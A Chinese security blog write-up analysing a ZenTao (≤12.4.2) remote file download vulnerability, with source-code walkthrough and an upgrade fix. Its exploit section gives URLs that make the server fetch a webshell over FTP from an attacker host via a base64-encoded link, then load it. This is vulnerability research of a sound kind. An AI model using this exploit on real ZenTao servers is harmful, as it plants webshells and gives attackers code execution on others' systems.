禅道是第一款国产的开源项目管理软件,她的核心管理思想基于敏捷方法scrum,内置了产品管理和项目管理,同时又根据国内研发现状补充了测试管理、计划管理、发布管理、文档管理、事务管理等功能,在一个软件中就可以将软件研发中的需求、任务、bug、用例、计划、发布等要素有序的跟踪管理起来,完整地覆盖了项目管理的核心流程。
禅道≤ 12.4.2
因为我们要调试代码,所以下载源码,不用官方的集成环境,这里我用的是中文版的那个源码。
https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html





这里我用的是PATH_INFO的传参方式,默认的get形式也一样已利用漏洞,有兴趣可以自己研究下。

设置密码
官方安装说明链接:
https://www.zentao.net/book/zentaopmshelp/101.html
EXP:
http://127.0.0.1/zentao/client-download-1-<base64 encode webshell download link>-1.html
http://127.0.0.1/zentao/data/client/1/<download link filename>
目录根据自己环境的不同自行修改下,base64编码的那串是ftp链接
此处为ftp://192.168.5.104/a.php的base64的编码


该漏洞主要是因为download中的downloadZipPackage函数过滤不严谨,可以使用ftp绕过。
先看下怎么传参和调用的
在index.php的loadModule()断下,看下参数


所以就进入到了client类的download方法,参数为(1,那串base64,1)

函数get()
public function download($version = '', $link = '', $os = '')
{
set_time_limit(0);
$result = $this->client->downloadZipPackage($version, $link);
if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
$client = $this->client->edit($version, $result, $os);
if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
$this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate'=> inlink('browse')));
}
大概读一读代码
先是个downloadZipPackage
然后是针对各种错误情况的返回
最后是个成功的回显
那么重点就来到了downloadZipPackage
public function downloadZipPackage($version, $link){$decodeLink = helper::safe64Decode($link);if(preg_match('/^https?:///', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);}
这里就是解个base64,然后判断下是否是http的,然后就返回它父类的同名方法的返回结果了

可以看到ftp的链接成功绕过了正则,进入到了父类同名函数
/*** Download zip package.* @param $version* @param $link* @return bool | string*/public function downloadZipPackage($version, $link){ignore_user_abort(true);set_time_limit(0);if(empty($version) || empty($link)) return false;$dir = "data/client/" . $version . '/';$link = helper::safe64Decode($link);$file = basename($link);if(!is_dir($this->app->wwwRoot . $dir)){mkdir($this->app->wwwRoot . $dir, 0755, true);}if(!is_dir($this->app->wwwRoot . $dir)) return false;if(file_exists($this->app->wwwRoot . $dir . $file)){return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;}ob_clean();ob_end_flush();$local = fopen($this->app->wwwRoot . $dir . $file, 'w');$remote = fopen($link, 'rb');if($remote === false) return false;while(!feof($remote)){$buffer = fread($remote, 4096);fwrite($local, $buffer);}fclose($local);fclose($remote);return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;}}
父类这个就没啥了,就是个正常的下载,写文件
路径是$dir = "data/client/" . $version . '/';
1、升级到禅道12.4.3及之后的版本
参考链接:
https://www.t00ls.net/redirect-58415.html#lastpost

本文作者:Timeline Sec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/146782.html
必填 您当前尚未登录。 登录? 注册
必填(保密)